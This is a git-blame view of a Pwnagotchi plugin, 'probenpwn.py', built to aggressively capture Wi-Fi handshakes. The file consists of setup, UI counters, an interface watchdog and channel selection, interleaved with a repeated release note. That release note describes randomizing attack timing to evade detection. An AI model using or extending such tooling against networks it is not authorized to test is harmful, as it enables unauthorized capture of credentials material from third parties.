2025-02-02 17:15:19 -08:00
|
|
|
import logging
|
|
|
|
import time
|
|
|
|
import threading
|
Update probenpwn.py
What's New in Probenpwn 1.1.0:
Dynamic Parameter Tuning:
The dynamic_attack_delay method now adjusts the attack delay based not only on the client’s signal strength but also on the number of previous attack attempts for a given AP (Access Point). As the number of attacks increases, the delay between attacks decreases slightly, making the attacks more aggressive while preventing the system from overloading.
The delay is further randomized with random.uniform(0.9, 1.1) to prevent detection by automated systems that might look for consistent attack patterns.
Watchdog Thread for Recovery:
The plugin introduces a watchdog thread that periodically checks for the presence of the wlan0mon interface, which is essential for monitoring Wi-Fi networks. If this interface is missing (likely due to a Wi-Fi adapter crash), the watchdog attempts to restart the Pwnagotchi system automatically by running a systemctl restart command, providing a more robust recovery mechanism.
Tracking and Limiting Attack Attempts:
The plugin now tracks the number of attack attempts for each AP using a dictionary (attack_attempts). If an AP has been attacked more than a certain number of times, the delay for subsequent attacks is adjusted to prevent excessive and repetitive attacking, reducing the risk of detection.
This approach helps balance the aggressiveness of the attacks with performance considerations, ensuring that the plugin remains effective over extended periods.
Tracking Successful Handshakes:
The plugin now also tracks the number of successful handshakes captured per AP with the success_counts dictionary. Each time a handshake is successfully captured, the count for that AP is incremented. This can be useful for monitoring attack success rates and potentially adjusting attack strategies based on success frequency.
Improved Device Handling:
The handling of new and updated APs and clients is more refined. The plugin ensures that each device (AP or client) is only attacked if it's not on the whitelist. Devices are also tracked more effectively with better time management, ensuring that only recently seen devices are targeted.
The track_recent method tracks both APs and clients, with more granular control over when devices should be removed from the recent list based on activity.
Channel Sanitization:
The plugin includes a new sanitize_channel_list method, which ensures that only valid Wi-Fi channels (1-14 for 2.4 GHz and 36-165 for 5 GHz) are included in the scan list. This prevents attempts to scan invalid channels and ensures more efficient use of scanning resources.
Enhanced Logging and Error Handling:
The plugin now includes more detailed logging, especially around the dynamic attack delay, attack attempts, and handshakes. The logging makes it easier to monitor the plugin's behavior and diagnose issues.
It also improves error handling by catching and logging exceptions in key methods, ensuring that the plugin can gracefully handle unexpected issues without crashing.
2025-02-12 22:29:51 -08:00
|
|
|
import os
|
|
|
|
import subprocess
|
|
|
|
import random
|
2025-02-02 17:15:19 -08:00
|
|
|
import pwnagotchi.plugins as plugins
|
2025-03-16 20:16:21 -07:00
|
|
|
import pwnagotchi.ui.components as components
|
|
|
|
from concurrent.futures import ThreadPoolExecutor
|
2025-05-05 23:12:09 -07:00
|
|
|
from queue import PriorityQueue
|
|
|
|
import psutil
|
2025-02-02 17:15:19 -08:00
|
|
|
|
2025-03-16 20:16:21 -07:00
|
|
|
class ProbeNpwn(plugins.Plugin):
|
2025-02-02 17:15:19 -08:00
|
|
|
__author__ = 'AlienMajik'
|
2025-05-05 23:12:09 -07:00
|
|
|
__version__ = '1.3.0' # Updated version for enhancements
|
2025-02-02 17:15:19 -08:00
|
|
|
__license__ = 'GPL3'
|
Update probenpwn.py
What's New in Probenpwn 1.1.0:
Dynamic Parameter Tuning:
The dynamic_attack_delay method now adjusts the attack delay based not only on the client’s signal strength but also on the number of previous attack attempts for a given AP (Access Point). As the number of attacks increases, the delay between attacks decreases slightly, making the attacks more aggressive while preventing the system from overloading.
The delay is further randomized with random.uniform(0.9, 1.1) to prevent detection by automated systems that might look for consistent attack patterns.
Watchdog Thread for Recovery:
The plugin introduces a watchdog thread that periodically checks for the presence of the wlan0mon interface, which is essential for monitoring Wi-Fi networks. If this interface is missing (likely due to a Wi-Fi adapter crash), the watchdog attempts to restart the Pwnagotchi system automatically by running a systemctl restart command, providing a more robust recovery mechanism.
Tracking and Limiting Attack Attempts:
The plugin now tracks the number of attack attempts for each AP using a dictionary (attack_attempts). If an AP has been attacked more than a certain number of times, the delay for subsequent attacks is adjusted to prevent excessive and repetitive attacking, reducing the risk of detection.
This approach helps balance the aggressiveness of the attacks with performance considerations, ensuring that the plugin remains effective over extended periods.
Tracking Successful Handshakes:
The plugin now also tracks the number of successful handshakes captured per AP with the success_counts dictionary. Each time a handshake is successfully captured, the count for that AP is incremented. This can be useful for monitoring attack success rates and potentially adjusting attack strategies based on success frequency.
Improved Device Handling:
The handling of new and updated APs and clients is more refined. The plugin ensures that each device (AP or client) is only attacked if it's not on the whitelist. Devices are also tracked more effectively with better time management, ensuring that only recently seen devices are targeted.
The track_recent method tracks both APs and clients, with more granular control over when devices should be removed from the recent list based on activity.
Channel Sanitization:
The plugin includes a new sanitize_channel_list method, which ensures that only valid Wi-Fi channels (1-14 for 2.4 GHz and 36-165 for 5 GHz) are included in the scan list. This prevents attempts to scan invalid channels and ensures more efficient use of scanning resources.
Enhanced Logging and Error Handling:
The plugin now includes more detailed logging, especially around the dynamic attack delay, attack attempts, and handshakes. The logging makes it easier to monitor the plugin's behavior and diagnose issues.
It also improves error handling by catching and logging exceptions in key methods, ensuring that the plugin can gracefully handle unexpected issues without crashing.
2025-02-12 22:29:51 -08:00
|
|
|
__description__ = (
|
2025-05-05 23:12:09 -07:00
|
|
|
'Aggressively capture handshakes with two modes: Tactical (smart and efficient) and Maniac '
|
|
|
|
'(unrestricted, rapid attacks). Enhanced with client scoring, adaptive attacks, ML-based '
|
|
|
|
'channel hopping, intelligent retries, and resource management.'
|
Update probenpwn.py
What's New in Probenpwn 1.1.0:
Dynamic Parameter Tuning:
The dynamic_attack_delay method now adjusts the attack delay based not only on the client’s signal strength but also on the number of previous attack attempts for a given AP (Access Point). As the number of attacks increases, the delay between attacks decreases slightly, making the attacks more aggressive while preventing the system from overloading.
The delay is further randomized with random.uniform(0.9, 1.1) to prevent detection by automated systems that might look for consistent attack patterns.
Watchdog Thread for Recovery:
The plugin introduces a watchdog thread that periodically checks for the presence of the wlan0mon interface, which is essential for monitoring Wi-Fi networks. If this interface is missing (likely due to a Wi-Fi adapter crash), the watchdog attempts to restart the Pwnagotchi system automatically by running a systemctl restart command, providing a more robust recovery mechanism.
Tracking and Limiting Attack Attempts:
The plugin now tracks the number of attack attempts for each AP using a dictionary (attack_attempts). If an AP has been attacked more than a certain number of times, the delay for subsequent attacks is adjusted to prevent excessive and repetitive attacking, reducing the risk of detection.
This approach helps balance the aggressiveness of the attacks with performance considerations, ensuring that the plugin remains effective over extended periods.
Tracking Successful Handshakes:
The plugin now also tracks the number of successful handshakes captured per AP with the success_counts dictionary. Each time a handshake is successfully captured, the count for that AP is incremented. This can be useful for monitoring attack success rates and potentially adjusting attack strategies based on success frequency.
Improved Device Handling:
The handling of new and updated APs and clients is more refined. The plugin ensures that each device (AP or client) is only attacked if it's not on the whitelist. Devices are also tracked more effectively with better time management, ensuring that only recently seen devices are targeted.
The track_recent method tracks both APs and clients, with more granular control over when devices should be removed from the recent list based on activity.
Channel Sanitization:
The plugin includes a new sanitize_channel_list method, which ensures that only valid Wi-Fi channels (1-14 for 2.4 GHz and 36-165 for 5 GHz) are included in the scan list. This prevents attempts to scan invalid channels and ensures more efficient use of scanning resources.
Enhanced Logging and Error Handling:
The plugin now includes more detailed logging, especially around the dynamic attack delay, attack attempts, and handshakes. The logging makes it easier to monitor the plugin's behavior and diagnose issues.
It also improves error handling by catching and logging exceptions in key methods, ensuring that the plugin can gracefully handle unexpected issues without crashing.
2025-02-12 22:29:51 -08:00
|
|
|
)
|
2025-02-02 17:15:19 -08:00
|
|
|
|
|
|
|
def __init__(self):
|
|
|
|
logging.debug("ProbeNpwn plugin created")
|
|
|
|
self.old_name = None
|
2025-05-05 23:12:09 -07:00
|
|
|
self.recents = {}
|
|
|
|
self.executor = None # Initialized in on_loaded with dynamic max_workers
|
Update probenpwn.py
What's New in Probenpwn 1.1.0:
Dynamic Parameter Tuning:
The dynamic_attack_delay method now adjusts the attack delay based not only on the client’s signal strength but also on the number of previous attack attempts for a given AP (Access Point). As the number of attacks increases, the delay between attacks decreases slightly, making the attacks more aggressive while preventing the system from overloading.
The delay is further randomized with random.uniform(0.9, 1.1) to prevent detection by automated systems that might look for consistent attack patterns.
Watchdog Thread for Recovery:
The plugin introduces a watchdog thread that periodically checks for the presence of the wlan0mon interface, which is essential for monitoring Wi-Fi networks. If this interface is missing (likely due to a Wi-Fi adapter crash), the watchdog attempts to restart the Pwnagotchi system automatically by running a systemctl restart command, providing a more robust recovery mechanism.
Tracking and Limiting Attack Attempts:
The plugin now tracks the number of attack attempts for each AP using a dictionary (attack_attempts). If an AP has been attacked more than a certain number of times, the delay for subsequent attacks is adjusted to prevent excessive and repetitive attacking, reducing the risk of detection.
This approach helps balance the aggressiveness of the attacks with performance considerations, ensuring that the plugin remains effective over extended periods.
Tracking Successful Handshakes:
The plugin now also tracks the number of successful handshakes captured per AP with the success_counts dictionary. Each time a handshake is successfully captured, the count for that AP is incremented. This can be useful for monitoring attack success rates and potentially adjusting attack strategies based on success frequency.
Improved Device Handling:
The handling of new and updated APs and clients is more refined. The plugin ensures that each device (AP or client) is only attacked if it's not on the whitelist. Devices are also tracked more effectively with better time management, ensuring that only recently seen devices are targeted.
The track_recent method tracks both APs and clients, with more granular control over when devices should be removed from the recent list based on activity.
Channel Sanitization:
The plugin includes a new sanitize_channel_list method, which ensures that only valid Wi-Fi channels (1-14 for 2.4 GHz and 36-165 for 5 GHz) are included in the scan list. This prevents attempts to scan invalid channels and ensures more efficient use of scanning resources.
Enhanced Logging and Error Handling:
The plugin now includes more detailed logging, especially around the dynamic attack delay, attack attempts, and handshakes. The logging makes it easier to monitor the plugin's behavior and diagnose issues.
It also improves error handling by catching and logging exceptions in key methods, ensuring that the plugin can gracefully handle unexpected issues without crashing.
2025-02-12 22:29:51 -08:00
|
|
|
self._watchdog_thread = None
|
2025-02-23 02:02:21 +01:00
|
|
|
self._watchdog_thread_running = True
|
2025-05-05 23:12:09 -07:00
|
|
|
self.attack_attempts = {}
|
|
|
|
self.success_counts = {}
|
2025-02-18 01:57:39 -08:00
|
|
|
self.total_handshakes = 0
|
|
|
|
self.failed_handshakes = 0
|
|
|
|
self.performance_stats = {}
|
2025-02-19 19:47:37 -08:00
|
|
|
self.whitelist = set()
|
2025-05-05 23:12:09 -07:00
|
|
|
self.cooldowns = {}
|
|
|
|
self.epoch_duration = 60
|
|
|
|
self.ap_clients = {}
|
|
|
|
self.channel_activity = {}
|
|
|
|
self.client_scores = {}
|
|
|
|
self.ap_client_groups = {}
|
|
|
|
self.mode = "tactical"
|
|
|
|
self.retry_queue = PriorityQueue() # For intelligent retry logic
|
|
|
|
self.handshake_db = set() # For deduplication
|
2025-03-16 20:16:21 -07:00
|
|
|
self.attacks_x = 10
|
|
|
|
self.attacks_y = 20
|
|
|
|
self.success_x = 10
|
|
|
|
self.success_y = 30
|
2025-05-05 23:12:09 -07:00
|
|
|
self.handshakes_x = 10
|
|
|
|
self.handshakes_y = 40
|
2025-03-16 20:16:21 -07:00
|
|
|
self.ui_initialized = False
|
|
|
|
|
2025-05-05 23:12:09 -07:00
|
|
|
### Lifecycle Methods
|
|
|
|
|
2025-02-23 02:02:21 +01:00
|
|
|
def on_loaded(self):
|
2025-05-05 23:12:09 -07:00
|
|
|
"""Log plugin load and initialize executor with dynamic concurrency."""
|
2025-03-16 20:16:21 -07:00
|
|
|
logging.info("Plugin ProbeNpwn loaded")
|
2025-05-05 23:12:09 -07:00
|
|
|
self.executor = ThreadPoolExecutor(max_workers=self.get_dynamic_max_workers())
|
2025-02-19 19:47:37 -08:00
|
|
|
|
2025-03-16 20:16:21 -07:00
|
|
|
def on_config_changed(self, config):
|
2025-05-05 23:12:09 -07:00
|
|
|
"""Load configuration settings."""
|
2025-03-16 20:16:21 -07:00
|
|
|
self.whitelist = set(config["main"].get("whitelist", []))
|
|
|
|
self.verbose = config.get("main", {}).get("plugins", {}).get("probenpwn", {}).get("verbose", False)
|
2025-05-05 23:12:09 -07:00
|
|
|
logging.getLogger().setLevel(logging.INFO if self.verbose else logging.WARNING)
|
2025-02-23 02:02:21 +01:00
|
|
|
self.old_name = config.get("main").get("name", "")
|
2025-05-05 23:12:09 -07:00
|
|
|
self.mode = config["main"]["plugins"]["probenpwn"].get("mode", "tactical")
|
2025-03-30 16:53:42 -07:00
|
|
|
self.attacks_x = config["main"]["plugins"]["probenpwn"].get("attacks_x_coord", 10)
|
|
|
|
self.attacks_y = config["main"]["plugins"]["probenpwn"].get("attacks_y_coord", 20)
|
|
|
|
self.success_x = config["main"]["plugins"]["probenpwn"].get("success_x_coord", 10)
|
|
|
|
self.success_y = config["main"]["plugins"]["probenpwn"].get("success_y_coord", 30)
|
2025-05-05 23:12:09 -07:00
|
|
|
self.handshakes_x = config["main"]["plugins"]["probenpwn"].get("handshakes_x_coord", 10)
|
|
|
|
self.handshakes_y = config["main"]["plugins"]["probenpwn"].get("handshakes_y_coord", 40)
|
2025-02-02 17:15:19 -08:00
|
|
|
|
|
|
|
def on_unload(self, ui):
|
2025-05-05 23:12:09 -07:00
|
|
|
"""Clean up resources."""
|
2025-02-23 02:02:21 +01:00
|
|
|
with ui._lock:
|
|
|
|
if self.old_name:
|
|
|
|
ui.set('name', f"{self.old_name}>")
|
2025-03-16 20:16:21 -07:00
|
|
|
ui.remove_element('attacks')
|
|
|
|
ui.remove_element('success')
|
2025-05-05 23:12:09 -07:00
|
|
|
ui.remove_element('handshakes')
|
2025-03-16 20:16:21 -07:00
|
|
|
self._watchdog_thread_running = False
|
|
|
|
if self._watchdog_thread:
|
2025-02-23 02:02:21 +01:00
|
|
|
self._watchdog_thread.join()
|
2025-03-16 20:16:21 -07:00
|
|
|
self.executor.shutdown(wait=True)
|
2025-02-23 02:02:21 +01:00
|
|
|
logging.info("Probing out.")
|
2025-02-02 17:15:19 -08:00
|
|
|
|
2025-05-05 23:12:09 -07:00
|
|
|
### UI Methods
|
|
|
|
|
2025-03-16 20:16:21 -07:00
|
|
|
def on_ui_setup(self, ui):
|
2025-05-05 23:12:09 -07:00
|
|
|
"""Set up UI elements."""
|
2025-03-16 20:16:21 -07:00
|
|
|
if not self.ui_initialized:
|
2025-05-05 23:12:09 -07:00
|
|
|
ui.add_element('attacks', components.Text(position=(self.attacks_x, self.attacks_y), value='Attacks: 0', color=255))
|
|
|
|
ui.add_element('success', components.Text(position=(self.success_x, self.success_y), value='Success: 0.0%', color=255))
|
|
|
|
ui.add_element('handshakes', components.Text(position=(self.handshakes_x, self.handshakes_y), value='Handshakes: 0', color=255))
|
2025-03-16 20:16:21 -07:00
|
|
|
self.ui_initialized = True
|
|
|
|
|
2025-02-02 17:15:19 -08:00
|
|
|
def on_ui_update(self, ui):
|
2025-05-05 23:12:09 -07:00
|
|
|
"""Update UI with stats."""
|
2025-03-16 20:16:21 -07:00
|
|
|
total_attempts = sum(self.attack_attempts.values())
|
|
|
|
total_successes = sum(self.success_counts.values())
|
|
|
|
success_rate = (total_successes / total_attempts) * 100 if total_attempts > 0 else 0.0
|
|
|
|
with ui._lock:
|
|
|
|
ui.set('attacks', f"Attacks: {total_attempts}")
|
|
|
|
ui.set('success', f"Success: {success_rate:.1f}%")
|
2025-05-05 23:12:09 -07:00
|
|
|
ui.set('handshakes', f"Handshakes: {self.total_handshakes}")
|
|
|
|
|
|
|
|
### Core Functionality
|
2025-02-02 17:15:19 -08:00
|
|
|
|
|
|
|
def on_ready(self, agent):
|
2025-05-05 23:12:09 -07:00
|
|
|
"""Start watchdog and set status."""
|
2025-02-02 17:15:19 -08:00
|
|
|
logging.info("Probed and Pwnd!")
|
|
|
|
agent.run("wifi.clear")
|
2025-05-05 23:12:09 -07:00
|
|
|
self._watchdog_thread = threading.Thread(target=self._watchdog, args=(agent,), daemon=True)
|
Update probenpwn.py
What's New in Probenpwn 1.1.0:
Dynamic Parameter Tuning:
The dynamic_attack_delay method now adjusts the attack delay based not only on the client’s signal strength but also on the number of previous attack attempts for a given AP (Access Point). As the number of attacks increases, the delay between attacks decreases slightly, making the attacks more aggressive while preventing the system from overloading.
The delay is further randomized with random.uniform(0.9, 1.1) to prevent detection by automated systems that might look for consistent attack patterns.
Watchdog Thread for Recovery:
The plugin introduces a watchdog thread that periodically checks for the presence of the wlan0mon interface, which is essential for monitoring Wi-Fi networks. If this interface is missing (likely due to a Wi-Fi adapter crash), the watchdog attempts to restart the Pwnagotchi system automatically by running a systemctl restart command, providing a more robust recovery mechanism.
Tracking and Limiting Attack Attempts:
The plugin now tracks the number of attack attempts for each AP using a dictionary (attack_attempts). If an AP has been attacked more than a certain number of times, the delay for subsequent attacks is adjusted to prevent excessive and repetitive attacking, reducing the risk of detection.
This approach helps balance the aggressiveness of the attacks with performance considerations, ensuring that the plugin remains effective over extended periods.
Tracking Successful Handshakes:
The plugin now also tracks the number of successful handshakes captured per AP with the success_counts dictionary. Each time a handshake is successfully captured, the count for that AP is incremented. This can be useful for monitoring attack success rates and potentially adjusting attack strategies based on success frequency.
Improved Device Handling:
The handling of new and updated APs and clients is more refined. The plugin ensures that each device (AP or client) is only attacked if it's not on the whitelist. Devices are also tracked more effectively with better time management, ensuring that only recently seen devices are targeted.
The track_recent method tracks both APs and clients, with more granular control over when devices should be removed from the recent list based on activity.
Channel Sanitization:
The plugin includes a new sanitize_channel_list method, which ensures that only valid Wi-Fi channels (1-14 for 2.4 GHz and 36-165 for 5 GHz) are included in the scan list. This prevents attempts to scan invalid channels and ensures more efficient use of scanning resources.
Enhanced Logging and Error Handling:
The plugin now includes more detailed logging, especially around the dynamic attack delay, attack attempts, and handshakes. The logging makes it easier to monitor the plugin's behavior and diagnose issues.
It also improves error handling by catching and logging exceptions in key methods, ensuring that the plugin can gracefully handle unexpected issues without crashing.
2025-02-12 22:29:51 -08:00
|
|
|
self._watchdog_thread.start()
|
2025-03-16 20:16:21 -07:00
|
|
|
with agent._view._lock:
|
2025-05-05 23:12:09 -07:00
|
|
|
agent._view.set("status", "Probe engaged..." if self.mode == "tactical" else "Maniac mode activated!")
|
Update probenpwn.py
What's New in Probenpwn 1.1.0:
Dynamic Parameter Tuning:
The dynamic_attack_delay method now adjusts the attack delay based not only on the client’s signal strength but also on the number of previous attack attempts for a given AP (Access Point). As the number of attacks increases, the delay between attacks decreases slightly, making the attacks more aggressive while preventing the system from overloading.
The delay is further randomized with random.uniform(0.9, 1.1) to prevent detection by automated systems that might look for consistent attack patterns.
Watchdog Thread for Recovery:
The plugin introduces a watchdog thread that periodically checks for the presence of the wlan0mon interface, which is essential for monitoring Wi-Fi networks. If this interface is missing (likely due to a Wi-Fi adapter crash), the watchdog attempts to restart the Pwnagotchi system automatically by running a systemctl restart command, providing a more robust recovery mechanism.
Tracking and Limiting Attack Attempts:
The plugin now tracks the number of attack attempts for each AP using a dictionary (attack_attempts). If an AP has been attacked more than a certain number of times, the delay for subsequent attacks is adjusted to prevent excessive and repetitive attacking, reducing the risk of detection.
This approach helps balance the aggressiveness of the attacks with performance considerations, ensuring that the plugin remains effective over extended periods.
Tracking Successful Handshakes:
The plugin now also tracks the number of successful handshakes captured per AP with the success_counts dictionary. Each time a handshake is successfully captured, the count for that AP is incremented. This can be useful for monitoring attack success rates and potentially adjusting attack strategies based on success frequency.
Improved Device Handling:
The handling of new and updated APs and clients is more refined. The plugin ensures that each device (AP or client) is only attacked if it's not on the whitelist. Devices are also tracked more effectively with better time management, ensuring that only recently seen devices are targeted.
The track_recent method tracks both APs and clients, with more granular control over when devices should be removed from the recent list based on activity.
Channel Sanitization:
The plugin includes a new sanitize_channel_list method, which ensures that only valid Wi-Fi channels (1-14 for 2.4 GHz and 36-165 for 5 GHz) are included in the scan list. This prevents attempts to scan invalid channels and ensures more efficient use of scanning resources.
Enhanced Logging and Error Handling:
The plugin now includes more detailed logging, especially around the dynamic attack delay, attack attempts, and handshakes. The logging makes it easier to monitor the plugin's behavior and diagnose issues.
It also improves error handling by catching and logging exceptions in key methods, ensuring that the plugin can gracefully handle unexpected issues without crashing.
2025-02-12 22:29:51 -08:00
|
|
|
|
2025-05-05 23:12:09 -07:00
|
|
|
def _watchdog(self, agent):
|
|
|
|
"""Monitor system and perform dynamic channel hopping."""
|
2025-03-16 20:16:21 -07:00
|
|
|
CHECK_INTERVAL = 5
|
|
|
|
MAX_RETRIES = 1
|
|
|
|
retry_count = 0
|
2025-02-23 02:02:21 +01:00
|
|
|
while self._watchdog_thread_running:
|
Update probenpwn.py
What's New in Probenpwn 1.1.0:
Dynamic Parameter Tuning:
The dynamic_attack_delay method now adjusts the attack delay based not only on the client’s signal strength but also on the number of previous attack attempts for a given AP (Access Point). As the number of attacks increases, the delay between attacks decreases slightly, making the attacks more aggressive while preventing the system from overloading.
The delay is further randomized with random.uniform(0.9, 1.1) to prevent detection by automated systems that might look for consistent attack patterns.
Watchdog Thread for Recovery:
The plugin introduces a watchdog thread that periodically checks for the presence of the wlan0mon interface, which is essential for monitoring Wi-Fi networks. If this interface is missing (likely due to a Wi-Fi adapter crash), the watchdog attempts to restart the Pwnagotchi system automatically by running a systemctl restart command, providing a more robust recovery mechanism.
Tracking and Limiting Attack Attempts:
The plugin now tracks the number of attack attempts for each AP using a dictionary (attack_attempts). If an AP has been attacked more than a certain number of times, the delay for subsequent attacks is adjusted to prevent excessive and repetitive attacking, reducing the risk of detection.
This approach helps balance the aggressiveness of the attacks with performance considerations, ensuring that the plugin remains effective over extended periods.
Tracking Successful Handshakes:
The plugin now also tracks the number of successful handshakes captured per AP with the success_counts dictionary. Each time a handshake is successfully captured, the count for that AP is incremented. This can be useful for monitoring attack success rates and potentially adjusting attack strategies based on success frequency.
Improved Device Handling:
The handling of new and updated APs and clients is more refined. The plugin ensures that each device (AP or client) is only attacked if it's not on the whitelist. Devices are also tracked more effectively with better time management, ensuring that only recently seen devices are targeted.
The track_recent method tracks both APs and clients, with more granular control over when devices should be removed from the recent list based on activity.
Channel Sanitization:
The plugin includes a new sanitize_channel_list method, which ensures that only valid Wi-Fi channels (1-14 for 2.4 GHz and 36-165 for 5 GHz) are included in the scan list. This prevents attempts to scan invalid channels and ensures more efficient use of scanning resources.
Enhanced Logging and Error Handling:
The plugin now includes more detailed logging, especially around the dynamic attack delay, attack attempts, and handshakes. The logging makes it easier to monitor the plugin's behavior and diagnose issues.
It also improves error handling by catching and logging exceptions in key methods, ensuring that the plugin can gracefully handle unexpected issues without crashing.
2025-02-12 22:29:51 -08:00
|
|
|
if not os.path.exists("/sys/class/net/wlan0mon"):
|
2025-05-05 23:12:09 -07:00
|
|
|
logging.error("wlan0mon missing! Attempting recovery...")
|
Update probenpwn.py
What's New in Probenpwn 1.1.0:
Dynamic Parameter Tuning:
The dynamic_attack_delay method now adjusts the attack delay based not only on the client’s signal strength but also on the number of previous attack attempts for a given AP (Access Point). As the number of attacks increases, the delay between attacks decreases slightly, making the attacks more aggressive while preventing the system from overloading.
The delay is further randomized with random.uniform(0.9, 1.1) to prevent detection by automated systems that might look for consistent attack patterns.
Watchdog Thread for Recovery:
The plugin introduces a watchdog thread that periodically checks for the presence of the wlan0mon interface, which is essential for monitoring Wi-Fi networks. If this interface is missing (likely due to a Wi-Fi adapter crash), the watchdog attempts to restart the Pwnagotchi system automatically by running a systemctl restart command, providing a more robust recovery mechanism.
Tracking and Limiting Attack Attempts:
The plugin now tracks the number of attack attempts for each AP using a dictionary (attack_attempts). If an AP has been attacked more than a certain number of times, the delay for subsequent attacks is adjusted to prevent excessive and repetitive attacking, reducing the risk of detection.
This approach helps balance the aggressiveness of the attacks with performance considerations, ensuring that the plugin remains effective over extended periods.
Tracking Successful Handshakes:
The plugin now also tracks the number of successful handshakes captured per AP with the success_counts dictionary. Each time a handshake is successfully captured, the count for that AP is incremented. This can be useful for monitoring attack success rates and potentially adjusting attack strategies based on success frequency.
Improved Device Handling:
The handling of new and updated APs and clients is more refined. The plugin ensures that each device (AP or client) is only attacked if it's not on the whitelist. Devices are also tracked more effectively with better time management, ensuring that only recently seen devices are targeted.
The track_recent method tracks both APs and clients, with more granular control over when devices should be removed from the recent list based on activity.
Channel Sanitization:
The plugin includes a new sanitize_channel_list method, which ensures that only valid Wi-Fi channels (1-14 for 2.4 GHz and 36-165 for 5 GHz) are included in the scan list. This prevents attempts to scan invalid channels and ensures more efficient use of scanning resources.
Enhanced Logging and Error Handling:
The plugin now includes more detailed logging, especially around the dynamic attack delay, attack attempts, and handshakes. The logging makes it easier to monitor the plugin's behavior and diagnose issues.
It also improves error handling by catching and logging exceptions in key methods, ensuring that the plugin can gracefully handle unexpected issues without crashing.
2025-02-12 22:29:51 -08:00
|
|
|
try:
|
2025-03-16 20:16:21 -07:00
|
|
|
subprocess.run(["ip", "link", "set", "wlan0mon", "down"], check=True)
|
|
|
|
subprocess.run(["ip", "link", "set", "wlan0mon", "up"], check=True)
|
|
|
|
retry_count = 0
|
Update probenpwn.py
What's New in Probenpwn 1.1.0:
Dynamic Parameter Tuning:
The dynamic_attack_delay method now adjusts the attack delay based not only on the client’s signal strength but also on the number of previous attack attempts for a given AP (Access Point). As the number of attacks increases, the delay between attacks decreases slightly, making the attacks more aggressive while preventing the system from overloading.
The delay is further randomized with random.uniform(0.9, 1.1) to prevent detection by automated systems that might look for consistent attack patterns.
Watchdog Thread for Recovery:
The plugin introduces a watchdog thread that periodically checks for the presence of the wlan0mon interface, which is essential for monitoring Wi-Fi networks. If this interface is missing (likely due to a Wi-Fi adapter crash), the watchdog attempts to restart the Pwnagotchi system automatically by running a systemctl restart command, providing a more robust recovery mechanism.
Tracking and Limiting Attack Attempts:
The plugin now tracks the number of attack attempts for each AP using a dictionary (attack_attempts). If an AP has been attacked more than a certain number of times, the delay for subsequent attacks is adjusted to prevent excessive and repetitive attacking, reducing the risk of detection.
This approach helps balance the aggressiveness of the attacks with performance considerations, ensuring that the plugin remains effective over extended periods.
Tracking Successful Handshakes:
The plugin now also tracks the number of successful handshakes captured per AP with the success_counts dictionary. Each time a handshake is successfully captured, the count for that AP is incremented. This can be useful for monitoring attack success rates and potentially adjusting attack strategies based on success frequency.
Improved Device Handling:
The handling of new and updated APs and clients is more refined. The plugin ensures that each device (AP or client) is only attacked if it's not on the whitelist. Devices are also tracked more effectively with better time management, ensuring that only recently seen devices are targeted.
The track_recent method tracks both APs and clients, with more granular control over when devices should be removed from the recent list based on activity.
Channel Sanitization:
The plugin includes a new sanitize_channel_list method, which ensures that only valid Wi-Fi channels (1-14 for 2.4 GHz and 36-165 for 5 GHz) are included in the scan list. This prevents attempts to scan invalid channels and ensures more efficient use of scanning resources.
Enhanced Logging and Error Handling:
The plugin now includes more detailed logging, especially around the dynamic attack delay, attack attempts, and handshakes. The logging makes it easier to monitor the plugin's behavior and diagnose issues.
It also improves error handling by catching and logging exceptions in key methods, ensuring that the plugin can gracefully handle unexpected issues without crashing.
2025-02-12 22:29:51 -08:00
|
|
|
except Exception as e:
|
2025-03-16 20:16:21 -07:00
|
|
|
retry_count += 1
|
|
|
|
if retry_count >= MAX_RETRIES:
|
|
|
|
subprocess.run(["systemctl", "restart", "pwnagotchi"])
|
|
|
|
break
|
|
|
|
else:
|
|
|
|
retry_count = 0
|
2025-05-05 23:12:09 -07:00
|
|
|
agent.set_channel(self.select_channel())
|
Update probenpwn.py
What's New in Probenpwn 1.1.0:
Dynamic Parameter Tuning:
The dynamic_attack_delay method now adjusts the attack delay based not only on the client’s signal strength but also on the number of previous attack attempts for a given AP (Access Point). As the number of attacks increases, the delay between attacks decreases slightly, making the attacks more aggressive while preventing the system from overloading.
The delay is further randomized with random.uniform(0.9, 1.1) to prevent detection by automated systems that might look for consistent attack patterns.
Watchdog Thread for Recovery:
The plugin introduces a watchdog thread that periodically checks for the presence of the wlan0mon interface, which is essential for monitoring Wi-Fi networks. If this interface is missing (likely due to a Wi-Fi adapter crash), the watchdog attempts to restart the Pwnagotchi system automatically by running a systemctl restart command, providing a more robust recovery mechanism.
Tracking and Limiting Attack Attempts:
The plugin now tracks the number of attack attempts for each AP using a dictionary (attack_attempts). If an AP has been attacked more than a certain number of times, the delay for subsequent attacks is adjusted to prevent excessive and repetitive attacking, reducing the risk of detection.
This approach helps balance the aggressiveness of the attacks with performance considerations, ensuring that the plugin remains effective over extended periods.
Tracking Successful Handshakes:
The plugin now also tracks the number of successful handshakes captured per AP with the success_counts dictionary. Each time a handshake is successfully captured, the count for that AP is incremented. This can be useful for monitoring attack success rates and potentially adjusting attack strategies based on success frequency.
Improved Device Handling:
The handling of new and updated APs and clients is more refined. The plugin ensures that each device (AP or client) is only attacked if it's not on the whitelist. Devices are also tracked more effectively with better time management, ensuring that only recently seen devices are targeted.
The track_recent method tracks both APs and clients, with more granular control over when devices should be removed from the recent list based on activity.
Channel Sanitization:
The plugin includes a new sanitize_channel_list method, which ensures that only valid Wi-Fi channels (1-14 for 2.4 GHz and 36-165 for 5 GHz) are included in the scan list. This prevents attempts to scan invalid channels and ensures more efficient use of scanning resources.
Enhanced Logging and Error Handling:
The plugin now includes more detailed logging, especially around the dynamic attack delay, attack attempts, and handshakes. The logging makes it easier to monitor the plugin's behavior and diagnose issues.
It also improves error handling by catching and logging exceptions in key methods, ensuring that the plugin can gracefully handle unexpected issues without crashing.
2025-02-12 22:29:51 -08:00
|
|
|
time.sleep(CHECK_INTERVAL)
|
2025-02-02 17:15:19 -08:00
|
|
|
|
2025-05-05 23:12:09 -07:00
|
|
|
def select_channel(self):
|
|
|
|
"""ML-inspired channel selection based on success history."""
|
|
|
|
if not self.channel_activity:
|
|
|
|
return random.randint(1, 11)
|
|
|
|
weights = {ch: (stats["aps"] + stats["clients"]) * (self.success_counts.get(str(ch), 1)) for ch, stats in self.channel_activity.items()}
|
|
|
|
total_weight = sum(weights.values())
|
|
|
|
if total_weight == 0:
|
|
|
|
return random.randint(1, 11)
|
|
|
|
pick = random.uniform(0, total_weight)
|
|
|
|
current = 0
|
|
|
|
for channel, weight in weights.items():
|
|
|
|
current += weight
|
|
|
|
if current >= pick:
|
|
|
|
return channel
|
|
